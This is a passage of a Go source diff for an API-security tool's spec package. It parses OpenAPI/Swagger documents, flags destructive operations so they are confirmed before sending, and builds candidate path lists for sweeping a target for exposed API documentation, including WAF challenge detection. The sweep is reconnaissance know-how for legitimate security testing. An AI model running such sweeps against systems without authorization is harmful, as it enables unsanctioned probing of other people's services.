// Stripe's 3.7 MB, so 8 MB refused the two largest public APIs outright.
|
||||
// MaxDocNodes is the real memory backstop; this only bounds the read.
|
||||
MaxSpecBytes = 24 << 20
|
||||
|
||||
// MaxDocNodes bounds the decoded document. yaml.v3 has its own alias-ratio
|
||||
// guard against billion-laughs (see decodeDocument), but that is a ratio and
|
||||
// not a memory cap, so a large document can pass it and still expand.
|
||||
MaxDocNodes = 2_000_000
|
||||
|
||||
// MaxRefDepth and MaxSchemaNodes bound schema expansion. A cycle is caught by
|
||||
// the reference stack; these catch allOf/oneOf nesting that blows up
|
||||
// combinatorially with no cycle anywhere.
|
||||
MaxRefDepth = 32
|
||||
MaxSchemaNodes = 50_000
|
||||
|
||||
// MaxPointerSegments bounds one JSON pointer.
|
||||
MaxPointerSegments = 64
|
||||
|
||||
// MaxOperations bounds one document's operation count. Reaching it is
|
||||
// reported as a Diagnostic rather than silently truncating.
|
||||
MaxOperations = 2000
|
||||
)
|
||||
|
||||
// Spec is a parsed API description, normalized away from its source format.
|
||||
// Everything an operator can edit or send lives here; nothing here knows how the
|
||||
// document was written.
|
||||
type Spec struct {
|
||||
ID string `json:"id"`
|
||||
Format Format `json:"format"`
|
||||
Version string `json:"version"` // the document's own token: "2.0", "3.0.1"
|
||||
Title string `json:"title"`
|
||||
Description string `json:"description,omitempty"`
|
||||
APIVersion string `json:"apiVersion,omitempty"`
|
||||
|
||||
Servers []Server `json:"servers"`
|
||||
Operations []Operation `json:"operations"`
|
||||
|
||||
// Auth is what the document says exists. It never holds a secret: a
|
||||
// credential is supplied per render, as an Auth value.
|
||||
Auth []AuthScheme `json:"auth"`
|
||||
Security []SecurityRequirement `json:"security,omitempty"`
|
||||
|
||||
Diagnostics []Diagnostic `json:"diagnostics,omitempty"`
|
||||
|
||||
SourceURL string `json:"sourceUrl,omitempty"`
|
||||
SizeBytes int `json:"sizeBytes"`
|
||||
|
||||
// Placeholders are the effective values, after withDefaults, that generated
|
||||
// every Param.Default and every body in this Spec.
|
||||
//
|
||||
// Recorded rather than left implicit because the UI shows a generated value
|
||||
// as an input hint. A Spec that did not state its own generation inputs would
|
||||
// let that hint and the bytes on the wire disagree with nothing to compare
|
||||
// them against — the failure this package's "bytes are truth" rule exists to
|
||||
// prevent. It is also what lets two views of one document agree that they are
|
||||
// looking at the same parse.
|
||||
Placeholders Placeholders `json:"placeholders"`
|
||||
}
|
||||
|
||||
// normalize materializes every collection a client iterates unconditionally.
|
||||
//
|
||||
// # A nil slice and an empty slice are the same value in Go and different values on the wire
|
||||
//
|
||||
// encoding/json writes a nil slice as null, not []. So every collection crossing
|
||||
// the API boundary has to be one of exactly two things:
|
||||
//
|
||||
// - omitempty, so an empty one is *absent* and the client's field is optional; or
|
||||
// - guaranteed non-nil here, so it is [] and the client's field is a plain array.
|
||||
//
|
||||
// A field that is both non-omitempty and nillable is the combination that ships
|
||||
// null against a type promising an array, and it is invisible to both compilers:
|
||||
// Go sees a legal nil slice, TypeScript sees a declaration it has no way to
|
||||
// check. That combination is what crashed the operations view on any document
|
||||
// with a requestBody-only operation — the commonest shape in OpenAPI 3.
|
||||
//
|
||||
// Adding a collection field to Spec or Operation means choosing one of the two,
|
||||
// and if it is the second, adding it here. The corpus test pins this by
|
||||
// asserting the marshalled document contains no null for these fields.
|
||||
func (s *Spec) normalize() {
|
||||
if s.Servers == nil {
|
||||
s.Servers = []Server{}
|
||||
}
|
||||
if s.Operations == nil {
|
||||
s.Operations = []Operation{}
|
||||
}
|
||||
if s.Auth == nil {
|
||||
s.Auth = []AuthScheme{}
|
||||
}
|
||||
for i := range s.Operations {
|
||||
if s.Operations[i].Params == nil {
|
||||
s.Operations[i].Params = []Param{}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Server is one declared origin. A document may name several, or name one
|
||||
// relative to wherever it was served from; both are reported rather than
|
||||
// resolved to a single answer, because picking for the operator is how a scan
|
||||
// ends up pointed at the wrong host.
|
||||
type Server struct {
|
||||
URL string `json:"url"` // exactly as written
|
||||
Scheme string `json:"scheme,omitempty"`
|
||||
Host string `json:"host,omitempty"` // host[:port]
|
||||
BasePath string `json:"basePath"` // "" or "/v1", never trailing "/"
|
||||
Description string `json:"description,omitempty"`
|
||||
Vars map[string]string `json:"vars,omitempty"`
|
||||
}
|
||||
|
||||
// Operation is one method on one path.
|
||||
type Operation struct {
|
||||
ID string `json:"id"` // operationId when usable, else "get:/pets/{id}"
|
||||
Method string `json:"method"`
|
||||
Path string `json:"path"` // the template, braces intact
|
||||
Summary string `json:"summary,omitempty"`
|
||||
Description string `json:"description,omitempty"`
|
||||
Tags []string `json:"tags,omitempty"`
|
||||
Deprecated bool `json:"deprecated,omitempty"`
|
||||
|
||||
Params []Param `json:"params"`
|
||||
|
||||
// Bodies holds one entry per declared content type, in document order.
|
||||
// Bodies[0] is what Render uses unless Values selects another. sj keeps only
|
||||
// the last one a map iteration happened to yield.
|
||||
Bodies []Body `json:"bodies,omitempty"`
|
||||
BodyRequired bool `json:"bodyRequired,omitempty"`
|
||||
|
||||
// Responses is keyed exactly as the document wrote it ("200", "4XX",
|
||||
// "default"). String-keyed on purpose: sj builds this with an any key and
|
||||
// then looks it up with an int, so the description never resolves.
|
||||
Responses map[string]string `json:"responses,omitempty"`
|
||||
|
||||
// Security nil means "inherit Spec.Security". A non-nil empty slice means the
|
||||
// operation explicitly opts out of authentication, which is a meaningful
|
||||
// statement and not the same thing.
|
||||
//
|
||||
// No omitempty, deliberately: it omits a non-nil empty slice exactly as it
|
||||
// omits a nil one, which would erase on the wire the very distinction the
|
||||
// lines above take care to build.
|
||||
Security []SecurityRequirement `json:"security"`
|
||||
|
||||
// Destructive is advisory, computed by Classify. It never stops a render; it
|
||||
// gates a send.
|
||||
Destructive bool `json:"destructive,omitempty"`
|
||||
DestructiveReasons []string `json:"destructiveReasons,omitempty"`
|
||||
|
||||
// Servers is the operation's own server list, from the operation or its path
|
||||
// item. Empty means "use the document's". OpenAPI 3 allows the override and
|
||||
// multi-service gateways use it.
|
||||
Servers []Server `json:"servers,omitempty"`
|
||||
|
||||
Diagnostics []Diagnostic `json:"diagnostics,omitempty"`
|
||||
}
|
||||
|
||||
// ParamIn is where a parameter is carried.
|
||||
type ParamIn string
|
||||
|
||||
const (
|
||||
InPath ParamIn = "path"
|
||||
InQuery ParamIn = "query"
|
||||
InHeader ParamIn = "header"
|
||||
InCookie ParamIn = "cookie"
|
||||
)
|
||||
|
||||
// Param is one input to an operation.
|
||||
type Param struct {
|
||||
Name string `json:"name"`
|
||||
In ParamIn `json:"in"`
|
||||
Required bool `json:"required,omitempty"`
|
||||
Deprecated bool `json:"deprecated,omitempty"`
|
||||
Description string `json:"description,omitempty"`
|
||||
|
||||
Type string `json:"type,omitempty"`
|
||||
Format string `json:"format,omitempty"`
|
||||
Enum []string `json:"enum,omitempty"`
|
||||
|
||||
// Default is the value the parser generated, already in wire form. An
|
||||
// operator override arrives through Values and never mutates this, so the UI
|
||||
// can keep showing it as the placeholder after the field is cleared.
|
||||
Default string `json:"default"`
|
||||
|
||||
// ExplodedFrom names the object-schema parameter this one was split out of.
|
||||
// An OpenAPI 3 query parameter whose schema is an object becomes one Param
|
||||
// per property, which is the only place the parser invents a name. Render
|
||||
// regroups them by this to rebuild the wire form the style calls for.
|
||||
ExplodedFrom string `json:"explodedFrom,omitempty"`
|
||||
|
||||
// Style and Explode select the serialization. Render reads both; the pair
|
||||
// decides whether an object goes out as "?a=1&b=2", "?o=a,1,b,2" or
|
||||
// "?o[a]=1&o[b]=2", which are three different requests.
|
||||
Style string `json:"style,omitempty"`
|
||||
Explode bool `json:"explode,omitempty"`
|
||||
|
||||
// ContentType is set when the document declared the parameter with `content`
|
||||
// rather than `schema`, meaning its value is a serialized media type.
|
||||
ContentType string `json:"contentType,omitempty"`
|
||||
}
|
||||
|
||||
// BodyEncoding is how a Body's bytes were built, which is what the UI needs to
|
||||
// choose an editor and what Render needs to leave alone.
|
||||
type BodyEncoding string
|
||||
|
||||
const (
|
||||
EncJSON BodyEncoding = "json"
|
||||
EncXML BodyEncoding = "xml"
|
||||
EncForm BodyEncoding = "form"
|
||||
EncMultipart BodyEncoding = "multipart"
|
||||
EncRaw BodyEncoding = "raw"
|
||||
)
|
||||
|
||||
// Body is one request body variant.
|
||||
type Body struct {
|
||||
ContentType string `json:"contentType"`
|
||||
Encoding BodyEncoding `json:"encoding"`
|
||||
Content []byte `json:"content"`
|
||||
Fields []string `json:"fields,omitempty"`
|
||||
|
||||
// Boundary is stored with the bytes it framed. Regenerating one at render
|
||||
// time, as sj does, produces a Content-Type that does not describe the body.
|
||||
Boundary string `json:"boundary,omitempty"`
|
||||
}
|
||||
|
||||
// AuthKind is a security scheme's type, normalized across v2 and v3 spellings.
|
||||
type AuthKind string
|
||||
|
||||
const (
|
||||
AuthBasic AuthKind = "basic"
|
||||
AuthBearer AuthKind = "bearer"
|
||||
AuthAPIKey AuthKind = "apiKey"
|
||||
AuthHTTPOther AuthKind = "http"
|
||||
AuthOAuth2 AuthKind = "oauth2"
|
||||
AuthOpenID AuthKind = "openIdConnect"
|
||||
AuthMutualTLS AuthKind = "mutualTLS"
|
||||
)
|
||||
|
||||
// AuthScheme is one way the document says a request may authenticate.
|
||||
//
|
||||
// Both spellings are read: OpenAPI 3's components.securitySchemes and Swagger
|
||||
// 2's securityDefinitions. sj reads only the former, so a v2 document gets no
|
||||
// authentication at all.
|
||||
type AuthScheme struct {
|
||||
Name string `json:"name"` // the key under the document's scheme map
|
||||
Kind AuthKind `json:"kind"`
|
||||
In ParamIn `json:"in,omitempty"` // apiKey only
|
||||
ParamName string `json:"paramName,omitempty"` // apiKey only
|
||||
Scheme string `json:"scheme,omitempty"` // raw http scheme token
|
||||
BearerFormat string `json:"bearerFormat,omitempty"`
|
||||
Description string `json:"description,omitempty"`
|
||||
|
||||
// Automatable is false for oauth2, openIdConnect and mutualTLS: Joro cannot
|
||||
// obtain those credentials, only carry one the operator supplied.
|
||||
Automatable bool `json:"automatable"`
|
||||
}
|
||||
|
||||
// SecurityRequirement is one alternative: every scheme named in it must be
|
||||
// satisfied. A slice of these is a disjunction.
|
||||
type SecurityRequirement struct {
|
||||
Schemes []string `json:"schemes"`
|
||||
Scopes map[string][]string `json:"scopes,omitempty"`
|
||||
}
|
||||
|
||||
// DiagKind classifies what could not be done.
|
||||
type DiagKind string
|
||||
|
||||
const (
|
||||
DiagExternalRef DiagKind = "external_ref" // refused, never fetched
|
||||
DiagUnresolvedRef DiagKind = "unresolved_ref" // "#/..." pointing at nothing
|
||||
DiagRefCycle DiagKind = "ref_cycle"
|
||||
DiagDepthExceeded DiagKind = "depth_exceeded"
|
||||
DiagNodeBudget DiagKind = "node_budget"
|
||||
DiagDuplicateKey DiagKind = "duplicate_key"
|
||||
DiagTruncated DiagKind = "truncated"
|
||||
DiagUnsupported DiagKind = "unsupported"
|
||||
DiagMalformed DiagKind = "malformed"
|
||||
)
|
||||
|
||||
// Diagnostic is one thing the parser refused or could not complete.
|
||||
type Diagnostic struct {
|
||||
Kind DiagKind `json:"kind"`
|
||||
Ref string `json:"ref,omitempty"` // the offending $ref, member or content type
|
||||
Pointer string `json:"pointer,omitempty"` // where: "/paths/~1pets/get/requestBody"
|
||||
Detail string `json:"detail,omitempty"`
|
||||
}
|
||||
|
||||
// Values overrides the parser's generated defaults for one render. Keys are
|
||||
// ValueKey(in, name); the reserved keys "body" and "contentType" carry the whole
|
||||
// body and the selection among Operation.Bodies. An absent key means "use what
|
||||
// the parser generated"; a present key with an empty value means "send it empty",
|
||||
// which is a different and useful test.
|
||||
type Values map[string]string
|
||||
|
||||
// ValueKey builds the Values key for one parameter.
|
||||
func ValueKey(in ParamIn, name string) string { return string(in) + ":" + name }
|
||||
|
||||
// Reserved Values keys.
|
||||
const (
|
||||
ValueKeyBody = "body"
|
||||
ValueKeyContentType = "contentType"
|
||||
)
|
||||
|
||||
// Options tunes a parse.
|
||||
type Options struct {
|
||||
// SourceURL is where the document was served from. It is the base for a
|
||||
// relative server URL and is recorded on the Spec; it is never fetched.
|
||||
SourceURL string
|
||||
|
||||
// Placeholders supplies the generated values. The zero value is filled in
|
||||
// from DefaultPlaceholders.
|
||||
//
|
||||
// A placeholder is an input to the *parse*, not to a render: it is baked into
|
||||
// Param.Default and into body bytes, which no per-request substitution
|
||||
// reaches. So changing one means parsing the document again, and the effective
|
||||
// values are recorded on the resulting Spec. RenderOptions deliberately has no
|
||||
// counterpart — a per-request placeholder would re-decode a multi-megabyte
|
||||
// document on every preview, and would move the wire bytes while the UI kept
|
||||
// showing the values of the parse it still holds.
|
||||
Placeholders Placeholders
|
||||
|
||||
// DestructiveWhitelist names keywords to stop treating as destructive, for a
|
||||
// target whose vocabulary collides with the list ("order" on a commerce API
|
||||
// that only reads orders).
|
||||
DestructiveWhitelist []string
|
||||
}
|
||||
|
||||
// Placeholders are the values generated for a schema that declares no example
|
||||
// and no enum. The defaults match sj's, so a Joro-generated request and an
|
||||
// sj-generated request for the same document agree.
|
||||
type Placeholders struct {
|
||||
String string `json:"string"` // sj: --test-string, default "bishopfox"
|
||||
Date string `json:"date"` // sj: -d, default "1990-01-01"
|
||||
URL string `json:"url"` // sj: -c, default "https://bishopfox.com"
|
||||
Email string `json:"email"` // sj: --custom-email
|
||||
}
|
||||
|
||||
// DefaultPlaceholders returns sj's defaults.
|
||||
func DefaultPlaceholders() Placeholders {
|
||||
return Placeholders{
|
||||
String: "bishopfox",
|
||||
Date: "1990-01-01",
|
||||
URL: "https://bishopfox.com",
|
||||
Email: "[email protected]",
|
||||
}
|
||||
}
|
||||
|
||||
// withDefaults fills empty fields, so a caller may set only what it cares about.
|
||||
func (p Placeholders) withDefaults() Placeholders {
|
||||
d := DefaultPlaceholders()
|
||||
if p.String == "" {
|
||||
p.String = d.String
|
||||
}
|
||||
if p.Date == "" {
|
||||
p.Date = d.Date
|
||||
}
|
||||
if p.URL == "" {
|
||||
p.URL = d.URL
|
||||
}
|
||||
if p.Email == "" {
|
||||
p.Email = d.Email
|
||||
}
|
||||
return p
|
||||
}
|
||||
@@ -0,0 +1,137 @@
|
||||
package apispec
|
||||
|
||||
import "strings"
|
||||
|
||||
// destructiveWords are the verbs that suggest an operation changes something the
|
||||
// operator would not want changed on a live target. Ported from sj, whose
|
||||
// judgement here is sound: an API scanner that silently issues POST /purchase is
|
||||
// a liability, and the cost of asking first is one click.
|
||||
var destructiveWords = []string{
|
||||
"add", "block", "build", "buy", "cancel", "change", "clear", "create", "delete",
|
||||
"deploy", "destroy", "disable", "drop", "edit", "emergency", "erase", "execute",
|
||||
"insert", "kill", "modify", "order", "overwrite", "pause", "purchase", "purge",
|
||||
"rebuild", "remove", "replace", "reset", "restart", "revoke", "run", "sell",
|
||||
"send", "set", "shutdown", "start", "stop", "terminate", "truncate", "update",
|
||||
"upload", "wipe", "write",
|
||||
}
|
||||
|
||||
// destructiveMethods are methods whose semantics are destructive regardless of
|
||||
// what the path is called.
|
||||
var destructiveMethods = map[string]string{
|
||||
"DELETE": "DELETE removes the addressed resource",
|
||||
"PATCH": "PATCH modifies the addressed resource",
|
||||
}
|
||||
|
||||
// Classify reports whether an operation looks destructive, and why.
|
||||
//
|
||||
// It is advisory: it never blocks a render, only a send, and the caller decides
|
||||
// whether to honor it. Two differences from sj matter.
|
||||
//
|
||||
// First, this runs at parse time over the method, path, operationId and summary.
|
||||
// sj checks the interpolated URL at send time, reading u.RawPath + "?" +
|
||||
// u.RawQuery — and RawPath is empty for any URL that needed no escaping, so on
|
||||
// most targets the gate inspects only the query string and never fires at all.
|
||||
//
|
||||
// Second, sj drops DELETE and PATCH operations during parsing, so they are
|
||||
// invisible. Reporting them instead means the operator can see the whole API
|
||||
// surface and tick the one they meant to test.
|
||||
func Classify(method, path, opID, summary string, whitelist []string) (bool, []string) {
|
||||
var reasons []string
|
||||
|
||||
method = strings.ToUpper(method)
|
||||
if reason, ok := destructiveMethods[method]; ok {
|
||||
reasons = append(reasons, reason)
|
||||
}
|
||||
|
||||
skip := make(map[string]bool, len(whitelist))
|
||||
for _, w := range whitelist {
|
||||
skip[strings.ToLower(strings.TrimSpace(w))] = true
|
||||
}
|
||||
|
||||
haystack := splitWords(path + " " + opID + " " + summary)
|
||||
for _, word := range destructiveWords {
|
||||
if skip[word] {
|
||||
continue
|
||||
}
|
||||
if containsWord(haystack, word) {
|
||||
reasons = append(reasons, "mentions "+word)
|
||||
}
|
||||
}
|
||||
|
||||
return len(reasons) > 0, reasons
|
||||
}
|
||||
|
||||
// containsWord matches a keyword against one end of an identifier, so "orders"
|
||||
// and "reorder" both match "order" while "borders" does not. A plain substring
|
||||
// test — which is what sj does — flags every path containing "border", "asset"
|
||||
// (set) and similar, and an operator who learns the gate cries wolf will disable
|
||||
// it.
|
||||
//
|
||||
// One boundary, not two: "orders" and "createOrder" are how this operation is
|
||||
// ordinarily spelled, and both put a letter against one side. The cost is that a
|
||||
// bare "border" reads as "order" — no boundary rule separates it from "reorder"
|
||||
// — and the failures are not equal: a false positive costs a click, a false
|
||||
// negative sends a live POST to a payment endpoint.
|
||||
func containsWord(haystack, word string) bool {
|
||||
for i := 0; ; {
|
||||
idx := strings.Index(haystack[i:], word)
|
||||
if idx < 0 {
|
||||
return false
|
||||
}
|
||||
start := i + idx
|
||||
end := start + len(word)
|
||||
if !isWordByte(haystack, start-1) || !isWordByte(haystack, end) {
|
||||
return true
|
||||
}
|
||||
i = start + 1
|
||||
if i >= len(haystack) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// splitWords lowercases the haystack, breaking camelCase and separators apart.
|
||||
//
|
||||
// Without it "createOrder" is one token "createorder", where both keywords have
|
||||
// a letter on each side and neither matches — and operationId is the field most
|
||||
// likely to name the verb.
|
||||
func splitWords(s string) string {
|
||||
var b strings.Builder
|
||||
b.Grow(len(s) + 8)
|
||||
for i := 0; i < len(s); i++ {
|
||||
c := s[i]
|
||||
switch {
|
||||
case c >= 'A' && c <= 'Z':
|
||||
// Split at the "O" of createOrder, not inside the "URL" of parseURL.
|
||||
if i > 0 && isLowerOrDigit(s[i-1]) {
|
||||
b.WriteByte(' ')
|
||||
}
|
||||
b.WriteByte(c + 32)
|
||||
case c >= 'a' && c <= 'z', c >= '0' && c <= '9':
|
||||
b.WriteByte(c)
|
||||
default:
|
||||
b.WriteByte(' ')
|
||||
}
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
func isLowerOrDigit(c byte) bool {
|
||||
return c >= 'a' && c <= 'z' || c >= '0' && c <= '9'
|
||||
}
|
||||
|
||||
// isWordByte reports whether the byte at i continues an identifier. Out-of-range
|
||||
// counts as a boundary.
|
||||
func isWordByte(s string, i int) bool {
|
||||
if i < 0 || i >= len(s) {
|
||||
return false
|
||||
}
|
||||
c := s[i]
|
||||
return c >= 'a' && c <= 'z' || c >= '0' && c <= '9'
|
||||
}
|
||||
|
||||
// DefaultMethods is the method whitelist a run starts with: everything except
|
||||
// the two whose semantics are destructive on their own.
|
||||
func DefaultMethods() []string {
|
||||
return []string{"GET", "POST", "PUT", "HEAD", "OPTIONS", "TRACE"}
|
||||
}
|
||||
@@ -0,0 +1,354 @@
|
||||
package apispec
|
||||
|
||||
import (
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// CandidateSet selects how wide a discovery sweep goes.
|
||||
type CandidateSet string
|
||||
|
||||
const (
|
||||
// CandidatePriority is the 87-path list tried directly. This is the default,
|
||||
// and the reason is not politeness: every candidate is sent through Joro's
|
||||
// own proxy and therefore occupies a row in the capture store, which is a
|
||||
// ring buffer. A full sweep is thousands of rows and can evict the
|
||||
// operator's real traffic — the one place where routing through the proxy,
|
||||
// otherwise the whole point, costs something.
|
||||
CandidatePriority CandidateSet = "priority"
|
||||
|
||||
// CandidateFull crosses every prefix with every endpoint name. Thousands of
|
||||
// requests; offer it with the eviction consequence stated.
|
||||
CandidateFull CandidateSet = "full"
|
||||
)
|
||||
|
||||
// CandidatePaths builds the ordered candidate list for a sweep.
|
||||
//
|
||||
// Order matters and is sj's: HTML UI pages first, because one hit there names
|
||||
// the document directly and makes the rest of the sweep unnecessary; then the
|
||||
// priority paths; then the JavaScript bundles; then the JSON names in three
|
||||
// suffix forms. Duplicates are removed across the whole list, not just within
|
||||
// each source.
|
||||
func CandidatePaths(basePath string, set CandidateSet) []string {
|
||||
base := normalizeBasePath(basePath)
|
||||
|
||||
seen := map[string]bool{}
|
||||
var out []string
|
||||
add := func(p string) {
|
||||
if p == "" {
|
||||
p = "/"
|
||||
}
|
||||
if !strings.HasPrefix(p, "/") {
|
||||
p = "/" + p
|
||||
}
|
||||
if seen[p] {
|
||||
return
|
||||
}
|
||||
seen[p] = true
|
||||
out = append(out, p)
|
||||
}
|
||||
|
||||
cross := func(endpoints []string, suffix string) {
|
||||
for _, dir := range prefixDirs {
|
||||
for _, ep := range endpoints {
|
||||
if dir == "" && ep == "" {
|
||||
continue
|
||||
}
|
||||
add(base + dir + ep + suffix)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, ep := range htmlEndpoints {
|
||||
add(base + ep + ".html")
|
||||
}
|
||||
for _, p := range priorityURLs {
|
||||
add(base + p)
|
||||
}
|
||||
if set != CandidateFull {
|
||||
return out
|
||||
}
|
||||
|
||||
cross(htmlEndpoints, ".html")
|
||||
cross(javascriptEndpoints, ".js")
|
||||
cross(jsonEndpoints, "")
|
||||
cross(jsonEndpoints, ".json")
|
||||
cross(jsonEndpoints, "/")
|
||||
return out
|
||||
}
|
||||
|
||||
// BodyKind is what a discovery response turned out to be.
|
||||
type BodyKind string
|
||||
|
||||
const (
|
||||
KindSpec BodyKind = "spec" // parsed as a document with paths
|
||||
KindWeak BodyKind = "weak" // looks document-shaped but did not parse
|
||||
KindReference BodyKind = "reference" // a page or script naming a document
|
||||
KindChallenge BodyKind = "challenge" // a WAF or bot-check interstitial
|
||||
KindSkip BodyKind = "skip" // binary or otherwise uninteresting
|
||||
KindNone BodyKind = "none"
|
||||
)
|
||||
|
||||
// skipContentTypes are types that cannot carry a document. Checking these first
|
||||
// avoids running regexes over images and archives.
|
||||
var skipContentTypes = []string{
|
||||
"image/", "video/", "audio/", "font/", "text/css",
|
||||
"application/zip", "application/pdf", "application/octet-stream",
|
||||
}
|
||||
|
||||
// ShouldSkipContentType reports whether a response body is worth examining.
|
||||
func ShouldSkipContentType(contentType string) bool {
|
||||
ct := strings.ToLower(contentType)
|
||||
for _, skip := range skipContentTypes {
|
||||
if strings.Contains(ct, skip) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// challengeMarkers are strings that appear in bot-check interstitials. A run
|
||||
// that collects these is being answered by a WAF, and continuing wastes
|
||||
// thousands of requests to learn nothing.
|
||||
var challengeMarkers = []string{
|
||||
"cf-browser-verification", "cf_chl_opt", "cf-challenge", "__cf_chl",
|
||||
"just a moment...", "checking your browser", "ddos protection by",
|
||||
"attention required! | cloudflare", "please enable cookies",
|
||||
"access denied", "request unsuccessful. incapsula",
|
||||
"incapsula incident id", "_incapsula_resource",
|
||||
}
|
||||
|
||||
// LooksLikeChallenge reports whether a body is a bot-check interstitial.
|
||||
func LooksLikeChallenge(body []byte) bool {
|
||||
// Bound the scan: a challenge page is small and its markers are near the top.
|
||||
window := body
|
||||
if len(window) > 64<<10 {
|
||||
window = window[:64<<10]
|
||||
}
|
||||
lower := strings.ToLower(string(window))
|
||||
for _, marker := range challengeMarkers {
|
||||
if strings.Contains(lower, marker) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// LooksLikeHTMLDocument reports whether a body is an HTML page, for a response
|
||||
// whose Content-Type lied or was absent.
|
||||
func LooksLikeHTMLDocument(body []byte) bool {
|
||||
window := body
|
||||
if len(window) > 2048 {
|
||||
window = window[:2048]
|
||||
}
|
||||
lower := strings.ToLower(strings.TrimSpace(string(window)))
|
||||
return strings.HasPrefix(lower, "<!doctype html") ||
|
||||
strings.HasPrefix(lower, "<html") ||
|
||||
strings.Contains(lower, "<head")
|
||||
}
|
||||
|
||||
// docUIMarkers name the API-documentation UI frameworks that embed or reference
|
||||
// the document they render, each by strings unambiguous enough that an ordinary
|
||||
// web page never carries them. Order is match priority; the Swagger entry leads
|
||||
// because it is far and away the common case. The Swagger bundle names overlap
|
||||
// uiBundleNames on purpose — the same scripts that are skipped when hunting for
|
||||
// an embedded document are what positively identify the page as Swagger UI.
|
||||
var docUIMarkers = []struct {
|
||||
label string
|
||||
markers []string
|
||||
}{
|
||||
{"Swagger UI", []string{
|
||||
"swagger-ui-bundle", "swagger-ui-standalone-preset", "swagger-ui.css",
|
||||
"swaggeruibundle", `id="swagger-ui"`, "id='swagger-ui'",
|
||||
"swagger-ui-init", "<title>swagger ui",
|
||||
}},
|
||||
{"ReDoc", []string{"redoc.standalone", "<redoc", "redoc.init("}},
|
||||
{"RapiDoc", []string{"<rapi-doc", "rapidoc-min.js"}},
|
||||
{"Stoplight Elements", []string{"<elements-api", "@stoplight/elements"}},
|
||||
{"Scalar", []string{"scalar.min.js", "@scalar/api-reference"}},
|
||||
}
|
||||
|
||||
// DetectDocUI reports which API-documentation UI framework an HTML page is, or
|
||||
// "" if it is just an HTML page. A doc UI embeds or names the document it loads,
|
||||
// so naming it turns the most common load failure into the next action; a plain
|
||||
// page must not be mislabelled as one.
|
||||
func DetectDocUI(body []byte) string {
|
||||
// Bound the scan: these markers sit in the page head, near the top.
|
||||
window := body
|
||||
if len(window) > 64<<10 {
|
||||
window = window[:64<<10]
|
||||
}
|
||||
lower := strings.ToLower(string(window))
|
||||
for _, ui := range docUIMarkers {
|
||||
for _, m := range ui.markers {
|
||||
if strings.Contains(lower, m) {
|
||||
return ui.label
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
var (
|
||||
// specKeyRe matches a "url:" / "configUrl:" / "specUrl:" assignment, which is
|
||||
// how a Swagger UI page names the document it loads.
|
||||
specKeyRe = regexp.MustCompile(`(?i)"?(?:config|spec)?url"?\s*:\s*["']([^"']+)["']`)
|
||||
// specAttrRe matches a spec-url attribute or a plain href/src.
|
||||
specAttrRe = regexp.MustCompile(`(?i)(?:spec-url|data-url|href|src)\s*=\s*["']([^"']+)["']`)
|
||||
// discoveryPathsRe matches Swashbuckle's discoveryPaths initializer.
|
||||
discoveryPathsRe = regexp.MustCompile(`(?i)discoveryPaths\s*:\s*arrayFrom\(\s*['"]([^'"]+)['"]`)
|
||||
|
||||
// specTokenRe finds a URL-shaped token anywhere in a body, quoted or not.
|
||||
//
|
||||
// The targeted patterns above only fire on `url: "literal"`. A Swagger UI
|
||||
// initializer frequently computes the value instead — petstore3's picks it
|
||||
// out of a host-to-URL table held in a template literal and assigns
|
||||
// `url: definitionURL` — so the document is plainly present in the file and
|
||||
// none of the key/attribute regexes can see it. Matching URL shapes and
|
||||
// letting LooksLikeSpecReference and the caller's same-host rule do the
|
||||
// filtering catches those without loosening either.
|
||||
specTokenRe = regexp.MustCompile(`(?i)(https?://[^\s"'` + "`" + `,;()<>]+|/[A-Za-z0-9_./~-]*(?:openapi|swagger|api-docs|apispec)[A-Za-z0-9_./~-]*)`)
|
||||
)
|
||||
|
||||
// uiBundleNames are Swagger UI's own scripts. They are libraries, not
|
||||
// initializers, so there is no point scanning them for an embedded document.
|
||||
var uiBundleNames = []string{
|
||||
"swagger-ui-bundle", "swagger-ui-standalone-preset", "swagger-ui-es-bundle",
|
||||
"swagger-ui-es-bundle-core", "swagger-ui-layout", "swagger-ui-plugins",
|
||||
"swagger-ui.min", "swagger-ui.js", "swagger-ui.css",
|
||||
}
|
||||
|
||||
// LooksLikeSwaggerInit reports whether a script URL is worth reading for an
|
||||
// embedded document, as opposed to being one of Swagger UI's own bundles.
|
||||
func LooksLikeSwaggerInit(rawURL string) bool {
|
||||
path := strings.ToLower(urlPath(rawURL))
|
||||
if !strings.HasSuffix(path, ".js") {
|
||||
return false
|
||||
}
|
||||
for _, bundle := range uiBundleNames {
|
||||
if strings.Contains(path, bundle) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// LooksLikeSpecReference filters extracted references down to ones that could
|
||||
// name a document, so a sweep does not chase every stylesheet on a page.
|
||||
func LooksLikeSpecReference(ref string) bool {
|
||||
lower := strings.ToLower(ref)
|
||||
if lower == "" || strings.HasPrefix(lower, "#") || strings.HasPrefix(lower, "data:") ||
|
||||
strings.HasPrefix(lower, "javascript:") || strings.HasPrefix(lower, "mailto:") {
|
||||
return false
|
||||
}
|
||||
for _, ext := range []string{".css", ".png", ".jpg", ".jpeg", ".gif", ".svg", ".ico", ".woff", ".woff2", ".ttf", ".map"} {
|
||||
if strings.HasSuffix(urlPath(lower), ext) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
for _, bundle := range uiBundleNames {
|
||||
if strings.Contains(lower, bundle) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
for _, hint := range []string{"api-docs", "openapi", "swagger.json", "swagger.yaml", "swagger.yml", "api-json", "swagger-resources", "apispec"} {
|
||||
if strings.Contains(lower, hint) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
p := urlPath(lower)
|
||||
for _, ext := range []string{".json", ".yaml", ".yml", "-json", "_json"} {
|
||||
if strings.HasSuffix(p, ext) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return strings.HasSuffix(p, ".js")
|
||||
}
|
||||
|
||||
// ExtractSpecRefs pulls candidate document URLs out of an HTML page or a
|
||||
// JavaScript initializer, resolved against the page they came from.
|
||||
//
|
